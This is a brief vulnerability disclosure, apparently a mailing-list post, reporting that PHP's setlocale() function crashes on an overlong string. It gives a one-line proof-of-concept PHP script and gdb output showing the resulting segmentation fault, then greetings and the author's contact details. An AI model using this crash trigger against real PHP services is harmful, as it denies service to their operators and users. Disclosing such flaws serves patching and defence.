"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
setlocale() is vulnerable to a denial of service
Proof of concept example :
<?php
setlocale(LC_COLLATE, str_repeat("A", 34438013));
?>
result:
(gdb) run ./1.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215805760 (LWP 10504)]
0xb78a584b in setlocale () from /lib/tls/i686/cmov/libc.so.6
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles
Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon …